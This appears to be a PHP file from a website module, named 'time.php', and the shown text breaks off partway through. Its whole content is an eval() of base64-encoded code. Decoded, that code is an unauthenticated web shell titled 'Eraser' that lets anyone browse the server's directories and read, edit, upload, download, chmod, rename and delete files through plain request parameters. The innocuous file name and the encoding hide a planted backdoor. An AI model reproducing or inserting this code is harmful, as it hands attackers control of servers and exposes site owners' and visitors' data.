Файл: modules/servis/screen/time.php
Строк: 240
<?php eval("?>".base64_decode("PD8NCg0KRXJyb3JfUmVwb3J0aW5nKEVfQUxMICYgfkVfTk9USUNFKTsNCmlmKGVtcHR5KCRfR0VUWyd6aXAnXSkgYW5kIGVtcHR5KCRfR0VUWydkb3dubG9hZCddKSAmIGVtcHR5KCRfR0VUWydpbWcnXSkpew0KbGlzdCgkbXNlYywkc2VjKT1leHBsb2RlKGNocigzMiksbWljcm90aW1lKCkpOyANCiRIZWFkVGltZT0kc2VjKyRtc2VjOyANCmVjaG8nPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFsLy9FTiI+DQo8aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCI+DQo8dGl0bGU+RXJhc2VyPC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5IHsNCmZvbnQtZmFtaWx5OkNvbWljIFNhbnMgTVM7DQpjb2xvcjojRkYwMDAwOw0KYmFja2dyb3VuZC1jb2xvcjojRkZGRkNDO30NCmEgew0KY29sb3I6IzAwQUEwMDsNCnRleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7fQ0KYTpob3ZlciB7DQpjb2xvcjogcmVkOw0KdGV4dC1kZWNvcmF0aW9uOiBub25lOyANCnBvc2l0aW9uOiByZWxhdGl2ZTsNCnRvcDogMXB4OyBsZWZ0OiAxcHg7fQ0KYTp2aXNpdGVkIHsNCmNvbG9yOiAwMDY2MDA7fQ0KYiB7DQpjb2xvcjojMDA4ODAwOw0KZm9udC1zdHlsZTpib2xkO30NCnRhYmxlew0KYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRjsNCmJvcmRlcjogMXB4IHNvbGlkICNGRjg4MDA7fQ0KdGR7DQptYXJnaW46IDBweDsNCnBhZGRpbmc6IDBweDsgDQpib3JkZXI6IDFweCBzb2xpZCAjRkY4ODAwOw0KYmFja2dyb3VuZC1jb2xvcjogI0ZGQ0U1MjsNCmNvbG9yOiAjZjAwOyB9PC9zdHlsZT4NCjwvaGVhZD48Ym9keT4nO30NCg0KaWYoZW1wdHkoJF9HRVRbJ3InXSkgJiBlbXB0eSgkX0dFVFsnaW5wdXQnXSkgJiBlbXB0eSgkX0dFVFsncmVuJ10pICYgZW1wdHkoJF9HRVRbJ3NldGNobW9kJ10pICYgZW1wdHkoJF9HRVRbJ2Rvd25sb2FkJ10pICYgZW1wdHkoJF9HRVRbJ3VwJ10pICYgZW1wdHkoJF9HRVRbJ3VwbG9hZCddKSAmIGVtcHR5KCRfR0VUWydjaG1vZCddKSAmIGVtcHR5KCRfR0VUWydyZW5hbWUnXSkgJiBlbXB0eSgkX0dFVFsncm1kaXInXSkgJiBlbXB0eSgkX0dFVFsnbWFkZSddKSAmIGVtcHR5KCRfR0VUWydjcmVhdGUnXSkgJiBlbXB0eSgkX0dFVFsnZGVsJ10pICYgZW1wdHkoJF9HRVRbJ2RlbGRpciddKSAmIGVtcHR5KCRfR0VUWydmJ10pICYgZW1wdHkoJF9HRVRbJ2VkaXQnXSkgJiBlbXB0eSgkX0dFVFsnemlwJ10pJiBlbXB0eSgkX0dFVFsnaW1nJ10pKXsNCmVjaG8nPGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiYjMTA2MDsmIzEwNzI7JiMxMDgxOyYjMTA4MzsgJiMxMDg0OyYjMTA3NzsmIzEwODU7JiMxMDc3OyYjMTA3NjsmIzEwNzg7JiMxMDc3OyYjMTA4ODs8L2ZvbnQ+PC9iPjxocj4nOw0KaWYoZW1wdHkoJF9HRVRbJ2QnXSkpeyRkPSIuLyI7fQ0KZWxzZXskZD0kX0dFVFsnZCddO30NCmlmKCRkPT0iLi8iKXskdnZlcmg9Jy4nLiRkO30NCmlmKCRkIT09Ii4vIil7JHZ2ZXJoPSRkLicuLi8nO30NCmVjaG8nPGEgaHJlZj0iP2Q9Jy4kdnZlcmguJyI+JiMxMDUzOyYjMTA3MjsgJiMxMDkxOyYjMTA4ODsmIzEwODY7JiMxMDc0OyYjMTA3NzsmIzEwODU7JiMxMTAwOyAmIzEwNzQ7JiMxMDc0OyYjMTA3NzsmIzEwODg7JiMxMDkzOzwvYT48YnI+DQo8YSBocmVmPSI/Y3JlYXRlPScuJGQuJyI+JiMxMDU3OyYjMTA4NjsmIzEwNzk7JiMxMDc2OyYjMTA3MjsmIzEwOTA7JiMxMTAwOyAmIzEwOTI7JiMxMDcyOyYjMTA4MTsmIzEwODM7ICYjMTA3OTsmIzEwNzY7JiMxMDc3OyYjMTA4OTsmIzExMDA7PC9hPjxicj4NCjxhIGhyZWY9Ij91cD0nLiRkLiciPiYjMTA0NzsmIzEwNzI7JiMxMDc1OyYjMTA4ODsmIzEwOTE7JiMxMDc5OyYjMTA4MDsmIzEwOTA7JiMxMTAwOyAmIzEwOTI7JiMxMDcyOyYjMTA4MTsmIzEwODM7ICYjMTA4OTsmIzExMDI7JiMxMDc2OyYjMTA3Mjs8L2E+PGJyPg0KJiMxMDQyOyYjMTA5OTsgJiMxMDg1OyYjMTA3MjsmIzEwOTM7JiMxMDg2OyYjMTA3NjsmIzEwODA7JiMxMDkwOyYjMTA3NzsmIzEwODM7JiMxMTAwOyAmIzEwNzQ7ICYjMTA4MjsmIzEwNzI7JiMxMDkwOyYjMTA3MjsmIzEwODM7JiMxMDg2OyYjMTA3NTsmIzEwNzc7OiA8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+PGI+Jy4kZC4nPC9iPjwvZm9udD48YnI+JzsNCmVjaG8gJzxmb250IGNvbG9yPSIjRkYwMDAwIj4mIzEwNDQ7JiMxMDgwOyYjMTA4ODsmIzEwNzc7JiMxMDgyOyYjMTA5MDsmIzEwODY7JiMxMDg4OyYjMTA4MDsmIzEwODA7OjwvZm9udD48dGFibGU+JzsNCiRkaXIgPSBvcGVuZGlyKCRkKTsNCndoaWxlKCRmaWxlID0gcmVhZGRpcigkZGlyKSl7DQppZihpc19kaXIoJGQuJy8nLiRmaWxlKSl7DQppZigkZmlsZSAhPSAiLiIgJiYgJGZpbGUgIT0gIi4uIil7DQokbW9kPXN1YnN0cihzcHJpbnRmKCIlbyIsZmlsZXBlcm1zKCRkLicvJy4kZmlsZSkpLC0zKTsNCmVjaG8nPHRyPjx0ZCB3aWR0aD0iMzUwIj48aW1nIHNyYz0iP2ltZz0xIiBhbHQ9IiI+PGEgaHJlZj0iP2Q9Jy4kZC4kZmlsZS4nLyI+Jy4kZmlsZS4nPC9hPjwvdGQ+PHRkPkRJUjwvdGQ+PHRkPicuJG1vZC4nPC90ZD48dGQ+PGEgaHJlZj0iP3ppcD0nLiRkLiRmaWxlLicvIj48Zm9udCBjb2xvcj0iIzAwMDBGRiI+W3ppcF08L2ZvbnQ+PC9hPjwvdGQ+PHRkPjxhIGhyZWY9Ij9kZWxkaXI9Jy4kZC4kZmlsZS4nLyI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPltkZWxdPC9mb250PjwvYT48L3RkPjx0ZD48YSBocmVmPSI/cmVuPScuJGQuJGZpbGUuJy8iPjxmb250IGNvbG9yPSIjMDAwMDAwIj5bcmVuYW1lXTwvZm9udD48L2E+PC90ZD48dGQ+PGEgaHJlZj0iP2NobW9kPScuJGQuJGZpbGUuJy8iPjxmb250IGNvbG9yPSIjRkYzMzAwIj5bY2htb2RdPC9mb250PjwvYT48L3RkPjx0ZD48YSBocmVmPSI/cm1kaXI9Jy4kZC4kZmlsZS4nLyI+PGZvbnQgY29sb3I9IiMwMEZGMDAiPltyZXZvbWVdPC9mb250PjwvYT48L3RkPjwvdHI+Jzt9fX0NCmVjaG8nPC90YWJsZT48aHI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiYjMTA2MDsmIzEwNzI7JiMxMDgxOyYjMTA4MzsmIzEwOTk7OjwvZm9udD48dGFibGU+JzsNCiRkaXIgPSBvcGVuZGlyKCRkKTsNCndoaWxlKCRmaWxlID0gcmVhZGRpcigkZGlyKSl7DQppZihpc19maWxlKCRkLicvJy4kZmlsZSkpew0KJG1vZD1zdWJzdHIoc3ByaW50ZigiJW8iLGZpbGVwZXJtcygkZC4nLycuJGZpbGUpKSwtMyk7DQplY2hvJzx0cj48dGQgd2lkdGg9IjM1MCI+PGltZyBzcmM9Ij9pbWc9MiIgYWx0PSIiPjxhIGhyZWY9Ij9yPScuJGQuJGZpbGUuJyI+Jy4kZmlsZS4nPC9hPjwvdGQ+PHRkPic7IGVjaG8gcm91bmQoZmlsZXNpemUoIiRkLyRmaWxlIikvMTAyNCwxKTsgZWNobycgJiMxMDgyOyYjMTA3MzsuPC90ZD48dGQ+Jy4kbW9kLic8L3RkPjx0ZD48YSBocmVmPSI/Zj0nLiRkLiRmaWxlLiciPjxmb250IGNvbG9yPSIjMDAwMEZGIj5bZWRpdF08L2ZvbnQ+PC9hPjwvdGQ+PHRkPjxhIGhyZWY9Ij9kZWw9Jy4kZC4kZmlsZS4nIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+W2RlbF08L2ZvbnQ+PC9hPjwvdGQ+PHRkPjxhIGhyZWY9Ij9yZW49Jy4kZC4kZmlsZS4nIj48Zm9udCBjb2xvcj0iIzAwMDAwMCI+W3JlbmFtZV08L2ZvbnQ+PC9hPjwvdGQ+PHRkPjxhIGhyZWY9Ij9jaG1vZD0nLiRkLiRmaWxlLiciPjxmb250IGNvbG9yPSIjRkYzMzAwIj5bY2htb2RdPC9mb250PjwvYT48L3RkPjx0ZD48YSBocmVmPSI/ZG93bmxvYWQ9Jy4kZC4kZmlsZS4nIj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+W2Rvd25dPC9mb250PjwvYT48L3RkPjwvdHI+Jzt9fQ0KZWNobyc8L3RhYmxlPic7fQ0KDQppZihpc3NldCgkX0dFVFsncmVuJ10pKXsNCmVjaG8nPGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiYjMTA1NTsmIzEwNzc7JiMxMDg4OyYjMTA3NzsmIzEwODA7JiMxMDg0OyYjMTA3NzsmIzEwODU7JiMxMDg2OyYjMTA3NDsmIzEwNzI7JiMxMDg1OyYjMTA4MDsmIzEwNzc7PC9mb250PjwvYj48aHI+JzsNCmVjaG8nPGZvcm0gYWN0aW9uPSI/cmVuYW1lPScuJF9HRVRbJ3JlbiddLiciIG1ldGhvZD0icG9zdCI+DQo8aW5wdXQgbmFtZT0ibmV3X25hbWUiIHZhbHVlPSInLiRfR0VUWydyZW4nXS4nIj48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJiMxMDU1OyYjMTA3NzsmIzEwODg7JiMxMDc3OyYjMTA4MDsmIzEwODQ7JiMxMDc3OyYjMTA4NTsmIzEwODY7JiMxMDc0OyYjMTA3MjsmIzEwOTA7JiMxMTAwOyEiPic7fQ0KDQppZihpc3NldCgkX0dFVFsnaW1nJ10pKXsNCiRpbWFnZXMgPSBhcnJheSgiIiwNCiJSMGxHT0RsaEV3QVFBTE1BQUFBQUFQLy8vNXljQU03T1kvLy9uUC8venYvT25QZjM5Ly8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUNINUJBRUFBQWdBTEFBQUFBQVRBQkFBQUFSUkVNbEpxNzA0NnlwNkJ4c2lIRVZCRUFLWUNVUHJEcDdIbFhSZEVvTXFDZWJwIi4NCiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSIsDQoiUjBsR09EbGhFd0FRQUtJQUFBQUFBUC8vLzhiR3hvU0VoUC8vL3dBQUFBQUFBQUFBQUNINUJBRUFBQVFBTEFBQUFBQVRBQkFBQUFOSiIuDQoiU0FyRTNsREpGa2E5MXJLcEEvRGdKM0pCYVo2bHNDa1c2cXFrQjRqekY4QlM2NTQ0VzlaQVc0K2cyNlZXeEY5d2Rvd1ptem5sRXVwNyIuDQoiVXBQV0czSWc2SHEvWG1SanVad2tBQUE3Iik7DQpoZWFkZXIoIkNvbnRlbnQtdHlwZTogaW1hZ2UvIik7DQplY2hvIGJhc2U2NF9kZWNvZGUoJGltYWdlc1skaW1nXSk7fQ0KDQppZihpc3NldCgkX0dFVFsndXAnXSkpew0KZWNobyc8Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+JiMxMDQwOyYjMTA4NzsmIzEwODM7JiMxMDg2OyYjMTA3MjsmIzEwNzY7ICYjMTA5MjsmIzEwNzI7JiMxMDgxOyYjMTA4MzsmIzEwODY7JiMxMDc0OzwvZm9udD48L2I+PGhyPic7DQplY2hvJzxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ1cGxvYWQiIHZhbHVlPSInLiRfR0VUWyd1cCddLiciPg0KPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiPjxicj4NCiYjMTA1NzsmIzEwODY7JiMxMDkzOyYjMTA4ODsmIzEwNzI7JiMxMDg1OyYjMTA4MDsmIzEwOTA7JiMxMTAwOyAmIzEwODI7JiMxMDcyOyYjMTA4Mjs6PGJyPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXdfbmFtZSIgdmFsdWU9IiI+PGJyPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiYjMTA0NzsmIzEwNzI7JiMxMDc1OyYjMTA4ODsmIzEwOTE7JiMxMDc5OyYjMTA4MDsmIzEwOTA7JiMxMTAwOyI+PC9mb3JtPic7fQ0KDQppZihpc3NldCgkX1BPU1RbJ3VwbG9hZCddKSl7DQokbmV3X25hbWU9dHJpbSgkX1BPU1RbJ25ld19uYW1lJ10pOw0KaWYoY29weSgkX0ZJTEVTWyJmaWxlIl1bInRtcF9uYW1lIl0sICRfUE9TVFsndXBsb2FkJ10uJG5ld19uYW1lKSl7DQplY2hvICcmIzEwNjA7JiMxMDcyOyYjMTA4MTsmIzEwODM7ICYjMTA5MTsmIzEwODk7JiMxMDg3OyYjMTA3NzsmIzEwOTY7JiMxMDg1OyYjMTA4NjsgJiMxMDc5OyYjMTA3MjsmIzEwNzU7JiMxMDg4OyYjMTA5MTsmIzEwNzg7JiMxMDc3OyYjMTA4NTsnO30NCmVsc2V7ZWNobyAnJiMxMDQ3OyYjMTA3MjsmIzEwNzU7JiMxMDg4OyYjMTA5MTsmIzEwNzk7JiMxMDgyOyYjMTA3MjsgJiMxMDkyOyYjMTA3MjsmIzEwODE7JiMxMDgzOyYjMTA3MjsgJiMxMDg1OyYjMTA3NzsgJiMxMDkxOyYjMTA3NjsmIzEwNzI7JiMxMDgzOyYjMTA3MjsmIzEwODk7JiMxMTAwOyEnO319DQoNCmlmKGlzc2V0KCRfR0VUWydkb3dubG9hZCddKSl7DQokZmlsZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWydkb3dubG9hZCddKTsNCiRuYW1lID0gZXhwbG9kZSgiLyIsJF9HRVRbJ2Rvd25sb2FkJ10pOw0KJG5hbWUgPSAkbmFtZVtjb3VudCgkbmFtZSktMV07DQpoZWFkZXIoJ0NvbnRlbnQtdHlwZTogdGV4dC9wbGFpbicpOw0KaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kbmFtZSIpOw0KZWNobyAkZmlsZTt9DQoNCmlmKGlzc2V0KCRfR0VUWydjaG1vZCddKSl7DQplY2hvJzxiPjxmb250IGNvbG9yPSIjRkYwMDAwIj5DaG1vZHM8L2ZvbnQ+PC9iPjxocj4nOw0KJG1vZD1zdWJzdHIoc3ByaW50ZigiJW8iLGZpbGVwZXJtcygkX0dFVFsnY2htb2QnXSkpLC0zKTsNCmVjaG8nPGZvcm0gYWN0aW9uPSI/c2V0Y2htb2Q9Jy4kX0dFVFsnY2htb2QnXS4nIiBtZXRob2Q9InBvc3QiPg0KPGlucHV0IG5hbWU9ImNobW9kcyIgdmFsdWU9IicuJG1vZC4nIj48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJiMxMDQ3OyYjMTA3MjsmIzEwNzY7JiMxMDcyOyYjMTA5MDsmIzExMDA7IGNobW9kISI+Jzt9DQoNCmlmKGlzc2V0KCRfR0VUWydzZXRjaG1vZCddKSl7DQplY2hvJzxiPjxmb250IGNvbG9yPSIjRkYwMDAwIj5DaG1vZHM8L2ZvbnQ+PC9iPjxocj4nOw0KJGNobSA9IGNobW9kKCRfR0VUWydzZXRjaG1vZCddLCcwJy4kX1BPU1RbJ2NobW9kcyddKTsNCmlmKCRjaG0pe2VjaG8nQ2htb2QgJy4kX1BPU1RbJ2NobW9kcyddLicgJiMxMDc5OyYjMTA3MjsmIzEwNzY7JiMxMDcyOyYjMTA4NTsmIzEwOTk7ISc7fQ0KaWYoISRjaG0pe2VjaG8nJiMxMDU0OyYjMTA5NjsmIzEwODQ7JiMxMDczOyYjMTA4MjsmIzEwNzI7ICYjMTA3OTsmIzEwNzI7JiMxMDc2OyYjMTA3MjsmIzEwNzQ7JiMxMDcyOyYjMTA4NTsmIzEwODA7JiMxMTAzOyBjaG1vZCAnLiRfUE9TVFsnY2htb2RzJ10uJyEnO319DQoNCmlmKGlzc2V0KCRfR0VUWydybWRpciddKSl7DQplY2hvJzxiPjxmb250IGNvbG9yPSIjRkYwMDAwIj4mIzEwNTk7JiMxMDc2OyYjMTA3MjsmIzEwODM7JiMxMDc3OyYjMTA4NTsmIzEwODA7JiMxMDc3OyAmIzEwNzY7JiMxMDgwOyYjMTA4ODsmIzEwNzc7JiMxMDgyOyYjMTA5MDsmIzEwODY7JiMxMDg4OyYjMTA4MDsmIzEwODA7PC9mb250PjwvYj48aHI+JzsNCiRkaXIgPSBvcGVuZGlyKCRfR0VUWydybWRpciddKTsNCndoaWxlKCRkaXJzID0gcmVhZGRpcigkZGlyKSl7DQppZihpc19kaXIoJF9HRVRbJ3JtZGlyJ10uJGRpcnMpKXsNCmlmKCRkaXJzICE9ICIuIiAmJiAkZGlycyAhPSAiLi4iKXsNCiRwb2RkaXIgPSBybWRpcigkX0dFVFsncm1kaXInXS4kZGlycyk7fX19DQpjbG9zZWRpcigkZGlyKTsNCiRkZGlyID0gcm1kaXIoJF9HRVRbJ3JtZGlyJ10pOw0KaWYoJGRkaXIpe2VjaG8nJiMxMDQ0OyYjMTA4MDsmIzEwODg7JiMxMDc3OyYjMTA4MjsmIzEwOTA7JiMxMDg2OyYjMTA4ODsmIzEwODA7JiMxMTAzOyAmIzEwOTE7JiMxMDc2OyYjMTA3MjsmIzEwODM7JiMxMDc3OyYjMTA4NTsmIzEwNzI7ISc7fQ0KaWYoISRkZGlyKXtlY2hvJyYjMTA1NDsmIzEwOTY7JiMxMDgwOyYjMTA3MzsmIzEwODI7JiMxMDcyOyAmIzEwOTE7JiMxMDc2OyYjMTA3MjsmIzEwODM7JiMxMDc3OyYjMTA4NTsmIzEwODA7JiMxMTAzOyEnO30NCmlmKCRwb2RkaXIpe2VjaG8nPGJyPiYjMTA1NTsmIzEwODY7JiMxMDc2OyYjMTA3NjsmIzEwODA7JiMxMDg4OyYjMTA3NzsmIzEwODI7JiMxMDkwOyYjMTA4NjsmIzEwODg7JiMxMDgwOyYjMTA4MDsgJiMxMDkxOyYjMTA3NjsmIzEwNzI7JiMxMDgzOyYjMTA3NzsmIzEwODU7JiMxMDk5OyEnO30NCmlmKCEkcG9kZGlyKXtlY2hvJzxicj4mIzEwNTQ7JiMxMDk2OyYjMTA4MDsmIzEwNzM7JiMxMDgyOyYjMTA3MjsgJiMxMDkxOyYjMTA3NjsmIzEwNzI7JiMxMDgzOyYjMTA3NzsmIzEwODU7JiMxMDgwOyYjMTEwMzsgJiMxMDg3OyYjMTA4NjsmIzEwNzY7JiMxMDc2OyYjMTA4MDsmIzEwODg7JiMxMDc3OyYjMTA4MjsmIzEwOTA7JiMxMDg2OyYjMTA4ODsmIzEwODA7JiMxMDgxOyEnO319DQoNCmlmKGlzc2V0KCRfR0VUWydyZW5hbWUnXSkpew0KZWNobyc8Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+JiMxMDU1OyYjMTA3NzsmIzEwODg7JiMxMDc3OyYjMTA4MDsmIzEwODQ7JiMxMDc3OyYjMTA4NTsmIzEwODY7JiMxMDc0OyYjMTA3MjsmIzEwODU7JiMxMDgwOyYjMTA3Nzs8L2ZvbnQ+PC9iPjxocj4nOw0KJG5hbWUgPSByZW5hbWUoJF9HRVRbJ3JlbmFtZSddLCRuZXdfbmFtZSk7DQppZigkbmFtZSl7ZWNobycmIzEwNTU7JiMxMDc3OyYjMTA4ODsmIzEwNzc7JiMxMDgwOyYjMTA4NDsmIzEwNzc7JiMxMDg1OyYjMTA4NjsmIzEwNzQ7JiMxMDcyOyYjMTA4NTsmIzEwODY7ISc7fQ0KaWYoISRuYW1lKXtlY2hvJyYjMTA1NDsmIzEwOTY7JiMxMDgwOyYjMTA3MzsmIzEwODI7JiMxMDcyOyAmIzEwODc7JiMxMDc3OyYjMTA4ODsmIzEwNzc7JiMxMDgwOyYjMTA4NDsmIzEwNzc7JiMxMDg1OyYjMTA4NjsmIzEwNzQ7JiMxMDcyOyYjMTA4NTsmIzEwODA7JiMxMTAzOyEnO319DQoNCmlmKGlzc2V0KCRfR0VUWydyJ10pKXsNCmVjaG8nPGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiYjMTA2MzsmIzEwOTA7JiMxMDc3OyYjMTA4NTsmIzEwODA7JiMxMDc3OyAmIzEwOTI7JiMxMDcyOyYjMTA4MTsmIzEwODM7JiMxMDcyOzwvZm9udD48L2I+PGhyPic7DQokZmlsZT1maWxlKCRfR0VUWydyJ10pOw0KaWYoJGZpbGUpew0KZm9yKCRpPTA7ICRpPGNvdW50KCRmaWxlKTsgJGkrKyl7DQokZmlsZVskaV0gPSBodG1sc3BlY2lhbGNoYXJzKCRmaWxlWyRpXSk7DQplY2hvICc8c21hbGw+Jy4kZmlsZVskaV0uJzwvc21hbGw+PGJyPic7fX0NCmlmKCEkZmlsZSl7ZWNobycmIzEwNTQ7JiMxMDk2OyYjMTA4MDsmIzEwNzM7JiMxMDgyOyYjMTA3MjsgJiMxMDk1OyYjMTA5MDsmIzEwNzc7JiMxMDg1OyYjMTA4MDsmIzExMDM7ICYjMTA5MjsmIzEwNzI7JiMxMDgxOyYjMTA4MzsmIzEwNzI7ISc7fX0NCg0KaWYoaXNzZXQoJF9HRVRbJ2RlbCddKSl7DQplY2hvJzxiPjxmb250IGNvbG9yPSIjRkYwMDAwIj4mIzEwNTk7JiMxMDc2OyYjMTA3MjsmIzEwODM7JiMxMDc3OyYjMTA4NTsmIzEwODA7JiMxMDc3OyAmIzEwOTI7JiMxMDcyOyYjMTA4MTsmIzEwODM7JiMxMDcyOzwvZm9udD48L2I+PGhyPic7DQokZGVsZXRlID0gdW5saW5rKCRfR0VUWydkZWwnXSk7DQppZigkZGVsZXRlKXtwcmludCAnJiMxMDYwOyYjMTA3MjsmIzEwODE7JiMxMDgzOyA8Yj4nLiRfR0VUWydkZWwnXS4nPC9iPiAmIzEwOTE7JiMxMDc2OyYjMTA3MjsmIzEwODM7JiMxMDc3OyYjMTA4NTshPGhyPic7fQ0KaWYoISRkZWxldGUpe3ByaW50ICcmIzEwNTQ7JiMxMDk2OyYjMTA4MDsmIzEwNzM7JiMxMDgyOyYjMTA3MjsgJiMxMDkxOyYjMTA3NjsmIzEwNzI7JiMxMDgzOyYjMTA3NzsmIzEwODU7JiMxMDgwOyYjMTEwMzsgJiMxMDkyOyYjMTA3MjsmIzEwODE7JiMxMDgzOyYjMTA3MjsgPGI+Jy4kX0dFVFsnZGVsJ10uJzwvYj4hJzt9fQ0KDQppZihpc3NldCgkX0dFVFsnZGVsZGlyJ10pKXsNCmVjaG8nPGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiYjMTA1OTsmIzEwNzY7JiMxMDcyOyYjMTA4MzsmIzEwNzc7JiMxMDg1OyYjMTA4MDsmIzEwNzc7ICYjMTA5MjsmIzEwNzI7JiMxMDgxOyYjMTA4MzsmIzEwODY7JiMxMDc0OyAmIzEwODA7JiMxMDc5OyAmIzEwODI7JiMxMDcyOyYjMTA5MDsmIzEwNzI7JiMxMDgzOyYjMTA4NjsmIzEwNzU7JiMxMDg2OyYjMTA3NDs8L2ZvbnQ+PC9iPjxocj4nOw0KJGRpciA9IG9wZW5kaXIoJF9HRVRbJ2RlbGRpciddKTsNCndoaWxlKCRmaWxlcyA9IHJlYWRkaXIoJGRpcikpew0KaWYoaXNfZmlsZSgkX0dFVFsnZGVsZGlyJ10uJGZpbGVzKSl7DQokZGVsID0gdW5saW5rKCRfR0VUWydkZWxkaXInXS4kZmlsZXMpO30NCmlmKGlzX2RpcigkX0dFVFsnZGVsZGlyJ10uJGZpbGVzKSAmJiAkZmlsZXMgIT0iLiIgJiYgJGZpbGVzICE9Ii4uIil7DQokb2RpciA9IG9wZW5kaXIoJF9HRVRbJ2RlbGRpciddLiRmaWxlcyk7DQp3aGlsZSgkcmVkZGlyID0gcmVhZGRpcigkb2Rpcikpew0KaWYoaXNfZmlsZSgkX0dFVFsnZGVsZGlyJ10uJGZpbGVzLicvJy4kcmVkZGlyKSl7DQokZGVsZXQgPSB1bmxpbmsoJF9HRVRbJ2RlbGRpciddLiRmaWxlcy4nLycuJHJlZGRpcik7fX19fQ0KaWYoJGRlbCl7cHJpbnQgJyYjMTA2MDsmIzEwNzI7JiMxMDgxOyYjMTA4MzsmIzEwOTk7ICYjMTA4MDsmIzEwNzk7ICYjMTA3NjsmIzEwODA7JiMxMDg4OyYjMTA3NzsmIzEwODI7JiMxMDkwOyYjMTA4NjsmIzEwODg7JiMxMDgwOyYjMTA4MDsgPGI+Jy4kX0dFVFsnZGVsZGlyJ10uJzwvYj4gJiMxMDkxOyYjMTA3NjsmIzEwNzI7JiMxMDgzOyYjMTA3NzsmIzEwODU7JiMxMDk5OyEnO30NCmlmKCEkZGVsKXtwcmludCAnJiMxMDU0OyYjMTA5NjsmIzEwODA7JiMxMDczOyYjMTA4MjsmIzEwNzI7ICYjMTA5MTsmIzEwNzY7JiMxMDcyOyYjMTA4MzsmIzEwNzc7JiMxMDg1OyYjMTA4MDsmIzExMDM7ICYjMTA5MjsmIzEwNzI7JiMxMDgxOyYjMTA4MzsmIzEwODY7JiMxMDc0OyAmIzEwODA7JiMxMDc5OyAmIzEwODA7JiMxMDc5OyAmIzEwNzY7JiMxMDgwOyYjMTA4ODsmIzEwNzc7JiMxMDgyOyYjMTA5MDsmIzEwODY7JiMxMDg4OyYjMTA4MDsmIzEwODA7IDxiPicuJF9HRVRbJ2RlbGRpciddLic8L2I+ISc7fQ0KaWYoJGRlbGV0KXtwcmludCc8YnI+JiMxMDYwOyYjMTA3MjsmIzEwODE7JiMxMDgzOyYjMTA5OTsgJiMxMDgwOyYjMTA3OTsgJiMxMDg3OyYjMTA4NjsmIzEwNzY7JiMxMDgyOyYjMTA3MjsmIzEwOTA7JiMxMDcyOyYjMTA4MzsmIzEwODY7JiMxMDc1OyYjMTA4NjsmIzEwNzQ7ICYjMTA3NDsgJiMxMDc2OyYjMTA4MDsmIzEwODg7JiMxMDc3OyYjMTA4MjsmIzEwOTA7JiMxMDg2OyYjMTA4ODsmIzEwODA7JiMxMDgwOyA8Yj4nLiRfR0VUWydkZWxkaXInXS4nPC9iPiAmIzEwOTE7JiMxMDc2OyYjMTA3MjsmIzEwODM7JiMxMDc3OyYjMTA4NTsmIzEwOTk7ISc7fQ0KaWYoISRkZWxldCl7cHJpbnQnPGJyPiYjMTA1NDsmIzEwOTY7JiMxMDgwOyYjMTA3MzsmIzEwODI7JiMxMDcyOyAmIzEwOTE7JiMxMDc2OyYjMTA3MjsmIzEwODM7JiMxMDc3OyYjMTA4NTsmIzEwODA7JiMxMTAzOyAmIzEwNjA7JiMxMDcyOyYjMTA4MTsmIzEwODM7JiMxMDg2OyYjMTA3NDsgJiMxMDgwOyYjMTA3OTsgJiMxMDg3OyYjMTA4NjsmIzEwNzY7JiMxMDgyOyYjMTA3MjsmIzEwOTA7JiMxMDcyOyYjMTA4MzsmIzEwODY7JiMxMDc1OyYjMTA4NjsmIzEwNzQ7ICYjMTA3NDsgJiMxMDc2OyYjMTA4MDsmIzEwODg7JiMxMDc3OyYjMTA4MjsmIzEwOTA7JiMxMDg2OyYjMTA4ODsmIzEwODA7JiMxMDgwOyA8Yj4nLiRfR0VUWydkZWxkaXInXS4nPC9iPiEnO319DQoNCmlmKGlzc2V0KCRfR0VUWydmJ10pKXsNCmVjaG8nPGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiYjMTA1NjsmIzEwNzc7JiMxMDc2OyYjMTA3MjsmIzEwODI7JiMxMDkwOyYjMTA4MDsmIzEwODg7JiMxMDg2OyYjMTA3NDsmIzEwNzI7JiMxMDg1OyYjMTA4MDsmIzEwNzc7ICYjMTA5MjsmIzEwNzI7JiMxMDgxOyYjMTA4MzsmIzEwNzI7PC9mb250PjwvYj48aHI+JzsNCiRmaWxlID0gZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ2YnXSk7DQokZmlsZSA9IGh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpOw0KZWNobyc8Zm9ybSBhY3Rpb249Ij9lZGl0PScuJF9HRVRb